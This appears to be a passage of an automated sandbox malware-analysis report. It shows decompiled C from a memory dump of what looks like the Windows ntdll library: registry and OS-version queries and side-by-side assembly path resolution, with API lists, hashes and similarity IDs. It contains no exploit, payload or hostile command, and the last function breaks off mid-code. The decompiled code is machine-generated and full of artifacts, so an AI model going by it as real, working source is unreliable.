\WinSxS\, xrefs: 6A94CDF3
@, xrefs: 6A94CE1D
.Local\, xrefs: 6A94CD61
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 6A98AD06

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicodememcpy$CloseOpenRootSystem
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 3618765437-3926108909
Opcode ID: f8d8a31ecd9353802291c493f311cd2f6ea8de2bfeb17ab626ca4f5caf7c7787
Instruction ID: cab69425e81db2dbbbf73d2e4b873b0939dde61824d8c1757f96621cdedaad1f
Opcode Fuzzy Hash: f8d8a31ecd9353802291c493f311cd2f6ea8de2bfeb17ab626ca4f5caf7c7787
Instruction Fuzzy Hash: 3381E3B11087019FD711CF24C880A1BBBF8FF95744F22895DF8A49B281DB74E918CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9165A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6A9165A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6aa0d360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
					_push( &_v352);
					_v316 = 0;
					_v312 = 0;
					if(E6A959600() >= 0) {
						if(E6A9166D4(_v352, L"UBR",  &_v356) >= 0) {
							_t132 = _v356;
						}
						_push(_v352);
						E6A9595D0();
					}
					_v308 = 0x11c;
					E6A944020( &_v308);
					_t89 = _v344;
					asm("adc esi, edx");
					asm("adc esi, 0x0");
					 *_t89 = 0 + _v300 * 0x10000 + _t132;
					 *((intOrPtr*)(_t89 + 4)) = _v308 * 0x10000 + _v304;
					_t124 = 0;
					_t137 = _v340;
				}
				if(_t137 != 0) {
					_v348 = _t124;
					_v344 = _t124;
					_v356 = 3;
					RtlInitUnicodeString( &_v348, L"Kernel-OneCore-DeviceFamilyID");
					_push( &_v344);
					_push(4);
					_push( &_v364);
					_push( &_v348);
					_push( &_v356);
					E6A95A9B0();
					_t89 =  *((intOrPtr*)(_t145 + 0x10));
					 *_t137 =  *((intOrPtr*)(_t145 + 0x10));
				}
				if(_t110 != 0) {
					_t118 = 6;
					memset( &_v332, 0, _t118 << 2);
					_t145 = _t145 + 0xc;
					_v348 = 0;
					_v344 = 0;
					_v352 = 0;
					_v356 = 0;
					 *_t110 = 0;
					RtlInitUnicodeString( &_v348, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\OEM");
					_v340 = 0x18;
					_v332 =  &_v356;
					_push( &_v340);
					_push(0x20119);
					_v336 = 0;
					_push( &_v360);
					_v328 = 0x40;
					_v324 = 0;
					_v320 = 0;
					if(E6A959600() >= 0) {
						_t124 = L"DeviceForm";
						if(E6A9166D4(_v360, L"DeviceForm",  &_v364) >= 0) {
							 *_t110 = _v364;
						}
						_push(_v360);
						_t89 = E6A9595D0();
					}
				}
				_pop(_t135);
				_pop(_t142);
				_pop(_t111);
				return E6A95B640(_t89, _t111,  *(_t145 + 0x164) ^ _t145, _t124, _t135, _t142);
			}

0x6a9165a8
0x6a9165b5
0x6a9165bc
0x6a9165bf
0x6a9165c1
0x6a9165c6
0x6a9165ca
0x6a9165cd
0x6a9165d4
0x6a9719a6
0x6a9719a8
0x6a9719ab
0x6a9719b3
0x6a9719b7
0x6a9719b7
0x6a9719c2
0x6a9719c7
0x6a9719cb
0x6a9719cd
0x6a9719d6
0x6a9719de
0x6a9719e8
0x6a9719ec
0x6a9719ed
0x6a9719f6
0x6a9719fe
0x6a9719ff
0x6a971a03
0x6a971a0e
0x6a971a25
0x6a971a27
0x6a971a27
0x6a971a2b
0x6a971a2f
0x6a971a2f
0x6a971a38
0x6a971a41
0x6a971a66
0x6a971a6a
0x6a971a6e
0x6a971a71
0x6a971a73
0x6a971a76
0x6a971a78
0x6a971a78
0x6a9165dc
0x6a9165e7
0x6a9165ec
0x6a9165f0
0x6a9165f8
0x6a916601
0x6a916602
0x6a916608
0x6a91660d
0x6a916612
0x6a916613
0x6a916618
0x6a91661c
0x6a91661c
0x6a916620
0x6a91663b
0x6a916644
0x6a916644
0x6a91664f
0x6a916654
0x6a916658
0x6a91665c
0x6a916660
0x6a916662
0x6a91666b
0x6a916673
0x6a91667b
0x6a91667c
0x6a916685
0x6a916689
0x6a91668a
0x6a916692
0x6a916696
0x6a9166a1
0x6a9166b0
0x6a9166bc
0x6a9166d0
0x6a9166d0
0x6a9166be
0x6a9166c2
0x6a9166c2
0x6a9166a1
0x6a916629
0x6a91662a
0x6a91662b
0x6a916636

APIs

RtlInitUnicodeString.1105 ref: 6A9165F8
ZwQueryLicenseValue.1105(?,?,00000003,00000004,?), ref: 6A916613
RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM), ref: 6A916662
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6A9166C2
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6A91669A

Part of subcall function 6A959600: LdrInitializeThunk.NTDLL(6A951119,?,?,00000018,?), ref: 6A95960A

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9719CD
ZwOpenKey.1105(?,?,?,?,00020119,00000018), ref: 6A971A07
ZwClose.1105(?,?,?,?,?,?,00020119,00000018), ref: 6A971A2F
RtlGetVersion.1105(?,?,?,?,?,00020119,00000018), ref: 6A971A41

Strings

DeviceForm, xrefs: 6A9166B0
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion, xrefs: 6A9719B9
UBR, xrefs: 6A971A19
@, xrefs: 6A91668A
@, xrefs: 6A9719F6
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM, xrefs: 6A916646
Kernel-OneCore-DeviceFamilyID, xrefs: 6A9165DE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$InitializeLicenseQueryThunkValueVersion
String ID: @$@$DeviceForm$Kernel-OneCore-DeviceFamilyID$UBR$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OEM
API String ID: 2689724482-2811273990
Opcode ID: 4563789cc35d76a152b113ce18b9fa57b359cd568d8b6628deaec252ebcec1cf
Instruction ID: 0bd4df67ef0d26ed64982380537fb133c4bc3da6b6ed884a5382946254cb562b
Opcode Fuzzy Hash: 4563789cc35d76a152b113ce18b9fa57b359cd568d8b6628deaec252ebcec1cf
Instruction Fuzzy Hash: 2A513BB15083159FD714CF14C880A4BBBE9BFC8754F51492EFA98D7251EB30DA09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6A932430, Relevance: 26.7, APIs: 10, Strings: 5, Instructions: 461
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6A932430(signed char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20, signed int _a24, intOrPtr* _a28, int _a32, intOrPtr* _a36) {
				signed int _v8;
				char _v140;
				short _v172;
				char _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				char _v192;
				signed int _v196;
				signed int _v200;
				short* _v204;
				short* _v208;
				short* _v212;
				signed int _v214;
				void _v216;
				short _v224;
				short _v228;
				short* _v232;
				signed short* _v236;
				signed short* _v240;
				short _v242;
				char _v244;
				intOrPtr _v248;
				void* _v252;
				intOrPtr _v256;
				void* _v260;
				char* _v280;
				char _v284;
				int _v288;
				char _v292;
				signed int _v296;
				int _v300;
				signed int _v304;
				int _v312;
				intOrPtr _v316;
				char _v320;
				signed int _v324;
				signed short _v328;
				signed short* _v332;
				signed int _v336;
				char _v337;
				void* _v338;
				void* _v342;
				void* _v344;
				void* _v348;
				void* _v352;
				void* _v353;
				void* _v354;
				void* _v356;
				void* _v364;
				void* _v366;
				void* _v368;
				void* _v370;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t179;
				signed short* _t180;
				intOrPtr _t182;
				intOrPtr _t186;
				short* _t187;
				intOrPtr _t193;
				short* _t194;
				short* _t202;
				signed int _t224;
				char _t225;
				signed int _t226;
				intOrPtr* _t233;
				intOrPtr* _t246;
				void* _t247;
				intOrPtr* _t248;
				char* _t249;
				intOrPtr* _t255;
				short* _t256;
				signed short* _t259;
				signed int _t262;
				intOrPtr* _t264;
				void* _t265;
				signed short* _t266;
				intOrPtr _t267;
				int _t268;
				signed short* _t269;
				void* _t274;
				void* _t275;
				signed int _t276;
				void* _t278;
				signed int _t280;
				signed int _t282;

				_t282 = (_t280 & 0xfffffff8) - 0x154;
				_v8 =  *0x6aa0d360 ^ _t282;
				_t248 = _a28;
				_t258 = _a32;
				_t179 = _a36;
				_t246 = _a20;
				_v296 = _t248;
				_v320 = 0;
				_v316 = 0;
				_v280 =  &_v140;
				_v300 = _t258;
				_v284 = 0x800000;
				_v288 = 0;
				_v328 = 0;
				_v304 = 0;
				_t264 = _a8;
				if(_t248 != 0) {
					 *_t248 = 0;
				}
				if(_t258 != 0) {
					 *_t258 = 0;
				}
				if(_t179 != 0) {
					 *_t179 = 0x208;
				}
				if(_t246 != 0) {
					 *_t246 = 0;
					 *((intOrPtr*)(_t246 + 4)) = 0;
				}
				_t180 =  &_v172;
				_v228 = 0x20;
				_v236 = _t180;
				_v232 = _t180;
				_v240 = _t180;
				_v172 = 0;
				_t182 = _a16;
				_v224 = 0x20;
				_v244 = 0x200000;
				if(_t182 == 0) {
					_t249 =  &_v192;
					_v200 = 2;
					_v208 = _t249;
					_v204 = _t249;
					_v212 = _t249;
					_v196 = 2;
					_v192 = 0;
					_v216 = 0x20000;
				} else {
					_t262 =  *(_t182 + 2) & 0x0000ffff;
					_t256 =  *((intOrPtr*)(_t182 + 4));
					if(_t262 < 2) {
						_t256 =  &_v192;
						_t262 = 2;
					}
					_v208 = _t256;
					_v200 = _t262;
					_v204 = _t256;
					_v196 = _t262;
					_v212 = _t256;
					if(_t256 != 0) {
						 *_t256 = 0;
					}
					_v214 = _t262;
					_t258 = _v300;
					_v216 = 0;
				}
				_t251 = _a24;
				_v188 = _t182;
				_v184 = _t246;
				_v180 = _t251;
				_v176 = 1;
				if((_a4 & 0xfffffffe) != 0) {
					_t274 = 0xc000000d;
					goto L82;
				} else {
					if(_t264 == 0) {
						_t274 = 0xc000000d;
						L82:
						if(_t274 >= 0) {
							L57:
							_t183 = _v316;
							if(_v316 != 0) {
								E6A91AD30(_t183);
								_v324 = 0;
								_v320 = 0;
							}
							_t186 = _v236;
							if(_t186 != 0) {
								if(_t186 != _v232) {
									_v248 = _t186;
									RtlFreeUnicodeString( &_v252);
								}
								_v240 = _v236;
								_v232 = _v228;
							}
							_t187 = _v232;
							_v240 = _t187;
							if(_t187 != 0) {
								_t251 = 0;
								 *_t187 = 0;
							}
							_v244 = 0;
							_v242 = _v224;
							if(_t274 == 0xc0150001) {
								E6A9B5100(_t251, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x1b2, "Status != STATUS_SXS_SECTION_NOT_FOUND");
								_t274 = 0xc00000e5;
								goto L82;
							} else {
								_pop(_t265);
								_pop(_t275);
								_pop(_t247);
								return E6A95B640(_t274, _t247, _v8 ^ _t282, _t258, _t265, _t275);
							}
						}
						L51:
						if(_v176 != 0) {
							_t193 = _v208;
							if(_t193 != 0 && _t193 != _v204) {
								_v256 = _t193;
								RtlFreeUnicodeString( &_v260);
							}
							_t194 = _v204;
							if(_t194 != 0) {
								_t251 = 0;
								 *_t194 = 0;
							}
						}
						memset( &_v216, 0, 0x2c);
						_t282 = _t282 + 0xc;
						goto L57;
					}
					if(_t182 == 0) {
						if(_t246 != 0 || _t258 == 0) {
							L15:
							_t251 = 0;
							_t266 =  *(_t264 + 4);
							_v336 =  *_t264;
							_t202 = _a12;
							_v332 = _t266;
							_v338 = 0;
							if(_t202 == 0 ||  *_t202 == 0) {
								L23:
								_t274 = 0;
								goto L24;
							} else {
								_v337 = 0;
								_t278 = E6A933690(1,  &_v336, 0x6a8f11bc,  &_v292);
								if(_t278 < 0) {
									if(_t278 == 0xc0000225) {
										L19:
										_t274 = 0;
										L20:
										_t266 = _v332;
										if(_t274 < 0) {
											L97:
											_t251 = _v338;
											L24:
											if(_t274 < 0) {
												goto L51;
											}
											if(_t251 != 0) {
												_t266 = _v240;
												_v336 = _v244;
												_v332 = _t266;
											}
											_v312 = 0;
											_v338 = 0;
											if(_v316 != 0) {
												_t274 = 0xc000000d;
												goto L42;
											} else {
												_t224 = _v336;
												if(_t224 < 2) {
													L30:
													if(_t224 < 4 ||  *_t266 == 0 || _t266[1] != 0x3a || _t224 < 6) {
														L40:
														_t225 = _v338;
														goto L41;
													} else {
														_t226 = _t266[2] & 0x0000ffff;
														if(_t226 != 0x5c) {
															if(_t226 != 0x2f) {
																goto L40;
															}
														}
														_v324 = 2;
														L36:
														_t274 = E6A933850( &_v336,  &_v284,  &_v320,  &_v312, 0, 0,  &_v324, 0);
														if(_t274 < 0) {
															L42:
															_t204 = _v316;
															if(_v316 != 0) {
																E6A91AD30(_t204);
																_v324 = 0;
																_v320 = 0;
															}
															L43:
															if(_t274 < 0) {
																goto L51;
															}
															if((_a4 & 0x00000001) == 0 ||  *((intOrPtr*)( *[fs:0x30] + 0x10)) == 0 || ( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00001000) == 0) {
																L47:
																_t267 = _a16;
																if((_v304 & 0x00000001) != 0) {
																	L77:
																	if(_t246 == 0) {
																		if(_t267 == 0 || _v212 ==  *((intOrPtr*)(_t267 + 4))) {
																			goto L78;
																		} else {
																			_t274 = 0xc0000023;
																			goto L82;
																		}
																	}
																	L78:
																	_t268 = _v300;
																	if(_t268 != 0) {
																		_t274 = E6A933690(1,  &_v216, 0x6a8f1810,  &_v328);
																		if(_t274 < 0) {
																			goto L51;
																		}
																		 *_t268 = ((_v328 & 0x0000ffff) >> 1) + 1;
																	}
																	_t251 =  &_v216;
																	_t274 = E6A955969( &_v216);
																	if(_t274 < 0) {
																		goto L51;
																	}
																	_t251 = _v296;
																	if(_t251 != 0) {
																		 *_t251 = _v304;
																	}
																	_t274 = 0;
																	goto L82;
																}
																if(_t267 == 0) {
																	if(_t246 != 0) {
																		goto L49;
																	}
																	_t258 = 1;
																	L50:
																	_t251 =  &_v336;
																	_t274 = E6A932990( &_v336, _t258,  &_v288, _v296,  &_v216);
																	if(_t274 >= 0) {
																		goto L77;
																	}
																	goto L51;
																}
																L49:
																_t258 = 0;
																goto L50;
															} else {
																_t258 =  &_v216;
																_t251 =  &_v336;
																_t274 = E6A9A40D2( &_v336,  &_v216,  &_v304);
																if(_t274 < 0) {
																	goto L51;
																}
																goto L47;
															}
														}
														_t233 = _v312;
														_t276 =  *_t233;
														_t269 =  *(_t233 + 4);
														_v312 = _t276;
														if(_v324 == 6) {
															_t259 = _v332;
															if( *((short*)(_t259 + 0xa)) != 0x3a ||  *((short*)(_t259 + 0xc)) != 0x5c) {
																goto L38;
															} else {
																_v332 = _t259 + 8;
																_t251 = _v336 + 0xfff8;
																 *((intOrPtr*)(_t282 + 0x16)) =  *((intOrPtr*)(_t282 + 0x16)) + 0xfff8;
																_t258 = _v312 + 0xfff8;
																_t269 =  &(_t269[4]);
																_v312 = _t258;
																 *((intOrPtr*)(_t282 + 0x2e)) =  *((intOrPtr*)(_t282 + 0x2e)) + 0xfff8;
																_t276 = _v312;
																_v336 = _t251;
																L39:
																if(_t251 > _t258) {
																	_t251 =  &_v320;
																	if(_t233 ==  &_v320) {
																		_t225 = 1;
																	} else {
																		_t225 = _v338;
																	}
																	_v336 = _t276;
																	_v332 = _t269;
																	L41:
																	_t274 = 0;
																	if(_t225 != 0) {
																		goto L43;
																	}
																	goto L42;
																}
																goto L40;
															}
														}
														L38:
														_t251 = _v336;
														_t258 = _v312;
														goto L39;
													}
												}
												_t251 =  *_t266 & 0x0000ffff;
												if(_t251 == 0x5c || _t251 == 0x2f) {
													if(_t224 < 4) {
														goto L40;
													}
													_t251 = _t266[1] & 0x0000ffff;
													if(_t251 == 0x5c || _t251 == 0x2f) {
														if(_t224 < 6) {
															L110:
															_v324 = 1;
															goto L36;
														}
														_t251 = _t266[2] & 0x0000ffff;
														if(_t251 == 0x2e || _t251 == 0x3f) {
															if(_t224 < 8) {
																L109:
																if(_t224 == 6) {
																	goto L40;
																}
																goto L110;
															}
															_t251 = _t266[3] & 0x0000ffff;
															if(_t251 == 0x5c || _t251 == 0x2f) {
																_v324 = 6;
																goto L36;
															} else {
																goto L109;
															}
														} else {
															goto L110;
														}
													} else {
														goto L40;
													}
												} else {
													goto L30;
												}
											}
										}
										if(_v337 == 0) {
											_t255 = _a12;
											 *(_t282 + 0x50) = _v336;
											 *(_t282 + 0x54) = _t266;
											 *((intOrPtr*)(_t282 + 0x58)) =  *_t255;
											 *((intOrPtr*)(_t282 + 0x5c)) =  *((intOrPtr*)(_t255 + 4));
											_v244 = 0;
											_t274 = E6A94D5C0(_t255,  &_v244, 2, _t282 + 0x50);
											if(_t274 < 0) {
												goto L97;
											}
											_t251 = 1;
											goto L23;
										}
										_t251 = _v338;
										goto L23;
									}
									goto L20;
								}
								_v337 = 1;
								goto L19;
							}
						} else {
							L96:
							_t274 = 0xc000000d;
							goto L82;
						}
					}
					if(_t246 == 0 || _t251 != 0) {
						goto L15;
					} else {
						goto L96;
					}
				}
			}

0x6a932438
0x6a932445
0x6a93244c
0x6a93244f
0x6a932452
0x6a932456
0x6a93245c
0x6a932460
0x6a932464
0x6a93246f
0x6a932475
0x6a932479
0x6a932481
0x6a932489
0x6a93248e
0x6a932493
0x6a932498
0x6a9328f5
0x6a9328f5
0x6a9324a0
0x6a932956
0x6a932956
0x6a9324a8
0x6a93295d
0x6a93295d
0x6a9324b0
0x6a9324b4
0x6a9324b6
0x6a9324b6
0x6a9324b9
0x6a9324c0
0x6a9324cb
0x6a9324cf
0x6a9324d3
0x6a9324d9
0x6a9324e1
0x6a9324e4
0x6a9324ef
0x6a9324f9
0x6a93280f
0x6a932816
0x6a932821
0x6a932828
0x6a93282f
0x6a932838
0x6a932843
0x6a93284b
0x6a9324ff
0x6a9324ff
0x6a932503
0x6a932509
0x6a97d20f
0x6a97d216
0x6a97d216
0x6a93250f
0x6a932516
0x6a93251d
0x6a932524
0x6a93252b
0x6a932534
0x6a932538
0x6a932538
0x6a93253d
0x6a932545
0x6a932549
0x6a932549
0x6a932558
0x6a93255b
0x6a932562
0x6a932569
0x6a932570
0x6a932578
0x6a97d220
0x00000000
0x6a93257e
0x6a932580
0x6a97d22a
0x6a932930
0x6a932932
0x6a932791
0x6a932791
0x6a932797
0x6a97d3b8
0x6a97d3bf
0x6a97d3c3
0x6a97d3c3
0x6a93279d
0x6a9327a3
0x6a9327a9
0x6a932968
0x6a932971
0x6a932971
0x6a9327b3
0x6a9327be
0x6a9327be
0x6a9327c5
0x6a9327c9
0x6a9327cf
0x6a9327d1
0x6a9327d3
0x6a9327d3
0x6a9327d8
0x6a9327e5
0x6a9327f0
0x6a97d3e0
0x6a97d3e5
0x00000000
0x6a9327f6
0x6a9327ff
0x6a932800
0x6a932801
0x6a93280c
0x6a93280c
0x6a9327f0
0x6a93274b
0x6a932753
0x6a932755
0x6a93275e
0x6a97d3a4
0x6a97d3ad
0x6a97d3ad
0x6a93276d
0x6a932776
0x6a932778
0x6a93277a
0x6a93277a
0x6a932776
0x6a932789
0x6a93278e
0x00000000
0x6a93278e
0x6a932588
0x6a93285d
0x6a93259a
0x6a93259c
0x6a93259e
0x6a9325a1
0x6a9325a5
0x6a9325a8
0x6a9325ac
0x6a9325b2
0x6a932600
0x6a932600
0x00000000
0x6a9325ba
0x6a9325be
0x6a9325d4
0x6a9325d8
0x6a93287b
0x6a9325e3
0x6a9325e3
0x6a9325e5
0x6a9325e5
0x6a9325eb
0x6a97d246
0x6a97d246
0x6a932602
0x6a932604
0x00000000
0x00000000
0x6a93260c
0x6a9328cf
0x6a9328d3
0x6a9328d7
0x6a9328d7
0x6a932617
0x6a93261f
0x6a932624
0x6a97d24f
0x00000000
0x6a93262a
0x6a93262a
0x6a932633
0x6a93264a
0x6a93264e
0x6a9326cd
0x6a9326cd
0x00000000
0x6a932663
0x6a932663
0x6a93266a
0x6a97d2c4
0x00000000
0x00000000
0x6a97d2ca
0x6a932670
0x6a932678
0x6a93269c
0x6a9326a0
0x6a9326d7
0x6a9326d7
0x6a9326dd
0x6a9328e1
0x6a9328e8
0x6a9328ec
0x6a9328ec
0x6a9326e3
0x6a9326e5
0x00000000
0x00000000
0x6a9326eb
0x6a93270f
0x6a932714
0x6a932717
0x6a9328fc
0x6a9328fe
0x6a97d352
0x00000000
0x6a97d368
0x6a97d368
0x00000000
0x6a97d368
0x6a97d352
0x6a932904
0x6a932904
0x6a93290a
0x6a97d38b
0x6a97d38f
0x00000000
0x00000000
0x6a97d39d
0x6a97d39d
0x6a932910
0x6a93291c
0x6a932920
0x00000000
0x00000000
0x6a932926
0x6a93292c
0x6a932983
0x6a932983
0x6a93292e
0x00000000
0x6a93292e
0x6a93271f
0x6a93286a
0x00000000
0x00000000
0x6a97d349
0x6a932727
0x6a932738
0x6a932741
0x6a932745
0x00000000
0x00000000
0x00000000
0x6a932745
0x6a932725
0x6a932725
0x00000000
0x6a97d325
0x6a97d32a
0x6a97d331
0x6a97d33a
0x6a97d33e
0x00000000
0x00000000
0x00000000
0x6a97d344
0x6a9326eb
0x6a9326a7
0x6a9326ab
0x6a9326ad
0x6a9326b0
0x6a9326b4
0x6a97d2cf
0x6a97d2d8
0x00000000
0x6a97d2e9
0x6a97d2f6
0x6a97d2ff
0x6a97d302
0x6a97d307
0x6a97d30a
0x6a97d30d
0x6a97d312
0x6a97d317
0x6a97d31b
0x6a9326c4
0x6a9326c7
0x6a93293d
0x6a932943
0x6a93297b
0x6a932945
0x6a932945
0x6a932945
0x6a932949
0x6a93294d
0x6a9326d1
0x6a9326d1
0x6a9326d5
0x00000000
0x00000000
0x00000000
0x6a9326d5
0x00000000
0x6a9326c7
0x6a97d2d8
0x6a9326ba
0x6a9326ba
0x6a9326bf
0x00000000
0x6a9326bf
0x6a93264e
0x6a932635
0x6a93263b
0x6a97d25d
0x00000000
0x00000000
0x6a97d263
0x6a97d26a
0x6a97d279
0x6a97d2b4
0x6a97d2b4
0x00000000
0x6a97d2b4
0x6a97d27b
0x6a97d282
0x6a97d28d
0x6a97d2aa
0x6a97d2ae
0x00000000
0x00000000
0x00000000
0x6a97d2ae
0x6a97d28f
0x6a97d296
0x6a97d29d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93263b
0x6a932624
0x6a9325f6
0x6a932886
0x6a93288d
0x6a932891
0x6a932897
0x6a93289e
0x6a9328a4
0x6a9328ba
0x6a9328be
0x00000000
0x00000000
0x6a9328c4
0x00000000
0x6a9328c4
0x6a9325fc
0x00000000
0x6a9325fc
0x00000000
0x6a932881
0x6a9325de
0x00000000
0x6a9325de
0x6a97d23c
0x6a97d23c
0x6a97d23c
0x00000000
0x6a97d23c
0x6a93285d
0x6a932590
0x00000000
0x00000000
0x00000000
0x00000000
0x6a932590

APIs

RtlFindCharInUnicodeString.1105(00000001,?,6A8F11BC,00000000), ref: 6A9325CF
RtlGetFullPathName_UstrEx.1105(?,?,?,?,00000000,00000000,?,00000000), ref: 6A932697
memset.1105(?,00000000,0000002C), ref: 6A932789
RtlMultiAppendUnicodeStringBuffer.1105(?,00000002,?,00000001,?,6A8F11BC,00000000), ref: 6A9328B5
RtlFreeUnicodeString.1105(?,?,?,00000001), ref: 6A932971
RtlDeleteBoundaryDescriptor.1105(00000000), ref: 6A9328E1

Part of subcall function 6A91AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6A9402E9,00000000,?,6A92ECFB,6AA084D8,6AA084D8,6A9617F0,00000000,?,6A93F715,6A93F5C0,?), ref: 6A91AD43

Strings

Internal error check failed, xrefs: 6A97D3DB
minkernel\ntdll\sxsisol.cpp, xrefs: 6A97D3D6
, xrefs: 6A9324C0
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 6A97D3CC
, xrefs: 6A9324E4

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Free$AppendBoundaryBufferCharDeleteDescriptorFindFullHeapMultiName_PathUstrmemset
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 3547848382-3393094623
Opcode ID: c74fdcc1cca8edc822f4b9bac1ebb6039c1b5da990043ad352523c600b45a891
Instruction ID: bd844aa4f56d21591bc1d7cea26893fb345e0beff50387fb6cfd369f8916f800
Opcode Fuzzy Hash: c74fdcc1cca8edc822f4b9bac1ebb6039c1b5da990043ad352523c600b45a891
Instruction Fuzzy Hash: F0029C715083619BD760CF29C1807ABB7F8BFA9704F21495EE8A997350EB70D845CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A229, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 183
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6A93A229(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				char _v28;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v60;
				void* __ebx;
				signed int _t55;
				signed int _t57;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t71;
				signed char* _t74;
				intOrPtr _t75;
				signed char* _t80;
				intOrPtr _t81;
				void* _t82;
				signed char* _t85;
				signed char _t91;
				void* _t103;
				void* _t105;
				void* _t121;
				void* _t129;
				signed int _t131;
				void* _t133;

				_t105 = __ecx;
				_t133 = (_t131 & 0xfffffff8) - 0x1c;
				_t103 = __edx;
				_t129 = __ecx;
				E6A93DF24(__edx,  &_v28, _t133);
				_t55 =  *(_t129 + 0x40) & 0x00040000;
				asm("sbb edi, edi");
				_t121 = ( ~_t55 & 0x0000003c) + 4;
				if(_t55 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t129);
					_push(0xffffffff);
					_t57 = E6A959730();
					__eflags = _t57;
					if(_t57 < 0) {
						L17:
						_push(_t105);
						E6A9DA80D(_t129, 1, _v20, 0);
						_t121 = 4;
						goto L1;
					}
					__eflags = _v20 & 0x00000060;
					if((_v20 & 0x00000060) == 0) {
						goto L17;
					}
					__eflags = _v24 - _t129;
					if(_v24 == _t129) {
						goto L1;
					}
					goto L17;
				}
				L1:
				_push(_t121);
				_push(0x1000);
				_push(_t133 + 0x14);
				_push(0);
				_push(_t133 + 0x20);
				_push(0xffffffff);
				_t61 = E6A959660();
				_t122 = _t61;
				if(_t61 < 0) {
					_t62 =  *[fs:0x30];
					 *((intOrPtr*)(_t129 + 0x218)) =  *((intOrPtr*)(_t129 + 0x218)) + 1;
					__eflags =  *(_t62 + 0xc);
